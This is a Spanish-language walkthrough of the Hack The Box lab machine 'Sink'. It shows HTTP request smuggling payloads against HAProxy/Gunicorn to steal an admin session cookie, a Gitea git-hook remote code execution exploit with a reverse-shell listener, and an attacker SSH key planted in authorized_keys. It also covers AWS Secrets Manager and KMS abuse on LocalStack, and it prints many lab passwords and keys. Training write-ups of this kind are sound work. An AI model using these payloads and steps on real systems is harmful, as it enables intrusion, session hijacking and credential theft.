Sink
sudo nmap 10.129.32.51 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.32.51 -p22,3000,5000 -sCV -oN targeted
Nos registramos en http://10.129.32.51:5000 Al intentar FUZZING recibimos un bloqueo.
Probamos algún payload de SSTI de python y Go ${{<%[%'"}}%\. { . } en las funcionales de comentar y de añadir nota
Las notas 2,3 y 4 tiran un 302, tampoco podemos hacer muchas más peticiones porque nos comemos un bloqueo
No parece haber nada interesante.
Volviendo al gitea http://10.129.32.51:3000
Podemos enumerar usuarios y organizaciones, pero no hay repos.
Haciendo más pruebas sobre http://10.129.32.51:5000 encontramos que Gunicorn 20.0.0 es vulnerable a HTTP Request Smuggling
HTTP Request Smuggling in gunicorn | CVE-2024-6827 | Snyk
Nos dan la siguiente POC que confirma que es una TE:CL es decir , el frontend tomará el Transfer-Encoding: chunked y el backend tomará el Content-Length: 6
POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 4
Transfer-Encoding: chunked,gzip
\r\n
70\r\n
GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1\r\n
Host: 172.24.10.169\r\n
\r\n
0\r\n
- El frontend tomará el
Transfer-Encoding: chunkedque tiene como longitud0x70
- El backend tomará
Content-Length: 4y el resto será una nueva petición smuggleada
Algo así podría funcionar al enviar la petición varias veces, pero parece ser que no recibimos ninguna respuesta distinta (con la nota que queremos ver)
Buscando un poco más encontramos un post de un blog
huntr - The world’s first bug bounty platform for AI/ML
Donde ponen la siguiente POC
-
El frontend tomará el
Transfer-Encoding: xchunked, cabecera la cuál no entiende y en vez de retornar un501tomará elContent-Length: 90y lo pasará al backend -
El backend tomará toda la petición y tendrá preferencia con el
Transfer-Encoding: chunkedasí que entenderá el cuerpo como
\r\n
1\r\n
a\r\n
0\r\n
\r\n
Y el resto la entenderá como una nueva petición que procesará directamente el backend, bypasseando los filtros del frontend
Lamentablemente no conseguimos que funcione y recibimos un 400 debido a la cabecera inválida
HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html
<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>
El error de arriba nos chiva que se está usando HAproxy como frontend
lo cuál nos lleva a este artículo:
Gunicorn 20.0.4 Request Smuggling - grenfeldt.dev
haproxy(frontend) usará elContent-Length: 68
y enviará las dos peticiones al backend
GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /admin HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 35\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n
\r\n
Gunicorn(backend) verá elSec-Websocket-Key1que indica que es un protocolo de websockets antiguo que lee los primeros 8 bytes del cuerpo. Por lo que verá 3 peticiones distintas
GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxx
GET /admin HTTP/1.1
Host: localhost
Content-Length: 35\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n
\r\n
Nuevamente , nuestra prueba de concepto no funciona
En esta ocasión buscamos HaProxy 1.9.10 y encontramos el siguiente artículo
HAProxy HTTP request smuggling (CVE-2019-18277) - Nathan Davison
Aquí el enfoque que utilizan es el el básico CL:TE solo que para que el frontend HAproxy no tenga preferencia por el Transfer-Encoding: chunked lo ponemos ofuscado, así recurrirá al Content-Length.
El backend si tendrá preferencia Transfer-Encoding pero al contrario que el frontend si que lo entenderá, como se explica en el artículo.
POST / HTTP/1.1\r\n
Host: 10.129.64.238:5000\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
Content-Length: 6\r\n
Transfer-Encoding: [\x0b]chunked\r\n
\r\n
0\r\n
\r\n
X
Para poner el tab vertical [\x0b] :
Enviamos la petición varias veces y recibimos un 405
Porque en algún momento la X ha quedado flotando y se ha pegado a otra petición XGET o XPOST por ejemplo, esto demuestra la vulnerabilidad.
POST / HTTP/1.1\r\n
Host: 10.129.64.238:5000\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
Content-Length: 38\r\n
Transfer-Encoding: [\x0b]chunked\r\n
\r\n
0\r\n
\r\n
GET /notes/1 HTTP/1.1\r\n
X-Foo: bar
La cabecera del final puede se cualquiera X-Foo: bar para concatenarse así a la primera línea de la siguiente petición
GET /notes/1 HTTP/1.1\r\n
X-Foo: barPOST /HTTP/1.1
...
Lo conseguimos , pero nos sigue tirando un 302 a pesar de hacer la petición de la nota 1 desde el backend
Con este enfoque podemos publicar la petición smuggleada en un comentario, lo cuál puede likear la cookie del admin si este está haciendo operaciones actualmente:
POST / HTTP/1.1
Host: 10.129.64.238:5000
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0
Content-Length: 192
Transfer-Encoding: chunked
0\r\n
\r\n
POST /comment HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 50\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
\r\n
msg=foo
Cambiamos nuestra cookie por la suya y somos admin
En las notas 1,2 y 3 encontramos
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
echo '10.129.64.238 sink.htb chef.sink.htb code.sink.htb nagios.sink.htb' >> /etc/hosts
De todas formas no llegamos a esos dominios.
Probamos las creds contras ssh por si acaso, pero nos bloquea
Creamos una lista de usuarios con los del gitea y los nuevos.
nxc ssh 10.129.64.238 -u users.txt -p passwords.txt --continue-on-success
Para el gitea la combinaciones válida es
root \ FaH@3L>Z3})zzfQ3
git clone http://10.129.66.18:3000/root/Log_Management.git
git clone http://10.129.66.18:3000/root/Serverless-Plugin.git
git clone http://10.129.66.18:3000/root/Key_Management.git
- Vamos a empezar a revisar
Log_Management
Si miramos el historial de cambios de create_log.php
git log -p create_logs.php
ACCESS KEY ID : AKIAIUEN3QWCPSTEITJQ
SECRET KEY : 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
REGION : eu
ENDPOINT : 127.0.0.1:4566
Key_Management
Vemos una política que nos puede ser útil
'KeyId' => $keyId,
'PolicyName' => $policyName,
'Policy' => '{
"Version": "2012-10-17",
"Id": "custom-policy-2016-12-07",
"Statement": [
{ "Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal":
{ "AWS": "arn:aws:iam::100123623493:user/root" },
"Action": [ "kms:*" ],
"Resource": "*" },
{ "Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal":
{ "AWS": "arn:aws:iam::100102123833:user/david" },
"Action": [
"kms:Decrypt*",
"kms:DescribeKey*"
],
"Resource": "*" }
]
Serverless-Plugin
Es una extensión de código para la herramienta de línea de comandos serverless (la más famosa para desplegar AWS Lambda, Azure Functions, etc.).
Kinesis_ElasticSearch
En el mundo Serverless, las funciones Lambda generan logs en CloudWatch Logs. Una configuración muy común es usar un plugin para:
- Suscribir los Logs de CloudWatch a Kinesis.
- Que Kinesis los mande a Elasticsearch.
Esto se hace porque la consola nativa de logs de AWS (CloudWatch) es lenta y mala para buscar, mientras que Elasticsearch/Kibana es instantáneo y potente.
Después de esto vemos que la versión de Gitea es la 1.12.6
Hay una vuln , en concreto la CVE-2020-14144 que nos permite hacer RCE con git hooks
Como somos el usuario root podemos crear los hooks que queramos
wget https://www.exploit-db.com/download/49571
python3 49571 -v -t http://10.129.66.18:3000/ -u root -p 'FaH@3L>Z3})zzfQ3' -I 10.10.17.48 -P '4444'
Como el script fallaba lo hicimos normal, creamos un repo y le añadimos un hook
mkdir exploit
git init
git config --global --add safe.directory /path/exploit
git config user.email "root@sink.htb"
git config user.name "root"
touch README.md
git add README.md
git commit -m "exploit"
git remote add origin http://10.129.67.88:3000/root/exploit.git
git push -u origin master
nc -lvnp 4444
Vemos que hay varios puertos abiertos
netstat -tuln | grep 127.0.0.1
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5/eB3fkcjMlHXGhabTx/rcxvxdc3k2CeIxjj3Nxyb43L3cmwWyix9nRFe0nsbFozZKdvRaZx5oHJpyJydGuC/FlXSrsUOTtC5PwRYiOxBjAci6ZzCUZv1m7Vyk6btTTYClX0gZyaIjePjrqv1yJ8LvT6yAmePZr1jP5rH+H6Gfw7cZ/HPbuixgY5l7yDz/EivpkkP1G9BjR5+gh/+8PN2R7afaVYZNJo3iI1kjuNRILd9FKowRgbvf4BFJttWgK//IQOu7b/4FR0f9vXcsoSGzYe4TCriogTkUJGUPpA1eljifolPNelI+ghSsp5/GLnlNKYumJ0EZ0lZHPjzd+nkbHj40M1gKz7lSQjvohyTav4DoPAla1e1m2KMJPIcamNo7s5EbGZBnet44hqt8sdOG1XB5TfW3rVMevDVN8WRYRE4EKyZRD+x7Fq+Z4lJW+9dg4mOTM2UujrU38faNvLVyub/OteTcx/cfvUhYdlD771zEWM1wLCMiGoDBu3SpHs= kali@kali' > /home/git/.ssh/authorized_keys
De momento vamos a forwardearnos el puerto del emulador de AWS (localstack)
ssh git@10.129.67.88 -L 4566:127.0.0.1:4566
export AWS_ACCESS_KEY_ID="AKIAIUEN3QWCPSTEITJQ"
export AWS_SECRET_ACCESS_KEY="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"
export AWS_DEFAULT_REGION="eu-east-1"
Como antes nos había parecido ver un repositorio de KMS , listamos las claves, con este comando listamos los identificadores de las claves
aws kms list-keys --endpoint-url http://127.0.0.1:4566
{
"Keys": [
{
"KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
},
{
"KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
},
{
"KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
},
{
"KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
},
{
"KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
},
{
"KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
},
{
"KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
},
{
"KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
},
{
"KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
},
{
"KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
},
{
"KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
}
]
}
Según la política que hemos sacado antes , seguramente seamos david
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::100102123833:user/david"
},
"Action": [
"kms:Decrypt*",
"kms:DescribeKey*"
],
"Resource": "*"
}
Pero nos permite listar alias, aunque no haya, se trata de un permiso que david no tiene, asi que es posible que las credenciales sean de root
aws kms list-aliases --endpoint-url http://127.0.0.1:4566
Tenemos permisos para describir keys
aws kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac --endpoint-url http://127.0.0.1:4566
También tenemos kms:Decrypt pero no tenemos nada que necesitemos descifrar ahora mismo usando alguna de esas claves.
Hay una clave en concreto que nos tira ENABLED
aws kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --endpoint-url http://127.0.0.1:4566
Haciendo un poco más de enumeración encontramos que hay secretos en el Secret Manager , lo cuál está íntimamente relacionado con las KMS
aws secretsmanager list-secrets --endpoint-url http://127.0.0.1:4566
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-WEcsa",
"Name": "Jenkins Login",
"Description": "Master Server to manage release cycle 1",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"37aad712-cf04-4b69-9ecb-c53ea8da0182": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-hgclP",
"Name": "Sink Panel",
"Description": "A panel to manage the resources in the devnode",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"ca9b94ff-58a7-41ac-bb5f-a4ac58d811d7": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dDeXh",
"Name": "Jira Support",
"Description": "Manage customer issues",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"e3983841-1cb5-4d64-8851-9407b607f7a5": [
"AWSCURRENT"
]
}
}
]
}
Como tenemos kms:Decrypt* seguramente podamos leer estos secretos
aws secretsmanager get-secret-value --secret-id 'Jira Support' --endpoint-url http://127.0.0.1:4566
{
"username":"david@sink.htb",
"password":"EALB=bcC=`a7f2#k"
}
aws secretsmanager get-secret-value --secret-id 'Sink Panel' --endpoint-url http://127.0.0.1:4566
{
"username":"albert@sink.htb",
"password":"Welcome123!"
}
aws secretsmanager get-secret-value --secret-id 'Jenkins Login' --endpoint-url http://127.0.0.1:4566
{
"username":"john@sink.htb",
"password":"R);\\)ShS99mZ~8j"
}
Nos logueamos como david usando su contraseña
david \ EALB=bcC=`a7f2#k
En /home/david/Projects/Prod_Deployment encontramos un archivo llamado servers.enc que tiene toda la pinta de estar encriptado
jq -r '.Keys[].KeyId' keys.json
Iteramos sobre las claves de las que disponemos para ver si podemos desencriptar el archivo
while IFS= read -r key; do
aws kms decrypt --ciphertext-blob fileb://servers.enc --key-id $key --output text --query Plaintext --endpoint-url http://127.0.0.1:4566
; done < keys.txt
Probamos a habilitarlas todas y lo volvemos a intentar, pero no tenemos éxito
while IFS= read -r key; do
aws kms enable-key --key-id $key --endpoint-url http://127.0.0.1:4566
; done < keys.txt
Si volvemos a los repos y buscamos diferencias entre commits más exhaustivamente , por ejemplo en Key_Management
git diff --name-only f20e6f6 b01a6b7 | cat
Encontramos .keys/dev_keys donde se likea la id_rsa de marcus
git diff f20e6f6 b01a6b7 | cat
ssh marcus@10.129.68.118 -i marcus.pem
Y por lo menos ahí tenemos la flag de user
En el repo de Log_Management se habla CloudWatch en concreto de logs:
Listamos los grupos de logs
aws logs describe-log-groups --endpoint-url http://127.0.0.1:4566 --query 'logGroups[*].logGroupName' --output text | cat
Listamos los streams (archivos de logs)
aws logs describe-log-streams --log-group-name "cloudtrail" --endpoint-url http://127.0.0.1:4566 --query 'logStreams[*].logStreamName' --output text | cat
Listamos los logs
aws logs get-log-events --log-group-name "cloudtrail" --log-stream-name "20201222" --output text --endpoint-url http://127.0.0.1:4566 | cat
Encontramos que se trata de logs de secretmanager, cosa que ya hemos dumpeado
Volvemos a la parte donde estabamos con el binario servers.enc
La única clave que había activa desde el principio y que servía para encriptar y desencriptar era esta:
aws kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac --endpoint-url http://127.0.0.1:4566 | cat
{
"KeyMetadata": {
"AWSAccountId": "000000000000",
"KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
"Arn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
"CreationDate": "2021-01-04T05:57:28-05:00",
"Enabled": true,
"Description": "Encryption and Decryption",
"KeyUsage": "ENCRYPT_DECRYPT",
"KeyState": "Enabled",
"Origin": "AWS_KMS",
"KeyManager": "CUSTOMER",
"CustomerMasterKeySpec": "RSA_4096",
"EncryptionAlgorithms": [
"RSAES_OAEP_SHA_1",
"RSAES_OAEP_SHA_256"
]
}
}
A veces en necesario pasarle el algoritmo de desencriptación
aws kms decrypt --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --ciphertext-blob fileb://servers.enc --encryption-algorithm RSAES_OAEP_SHA_256 --output text --endpoint-url http://127.0.0.1:4566 | /usr/bin/cat
Convertimos el output en base64 a un archivo y vemos que el tipo de archivo es un `.gz
echo 'H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=' | base64 -d > servers
Descomprimimos y el archivo resultante es un .tar el cual descomprimimos también
Nos quedan servers.yml y servers.sig
server:
listenaddr: ""
port: 80
hosts:
- certs.sink.htb
- vault.sink.htb
defaultuser:
name: admin
pass: _uezduQ!EY5AHfe2
Y nos podemos loguear por ssh a root.
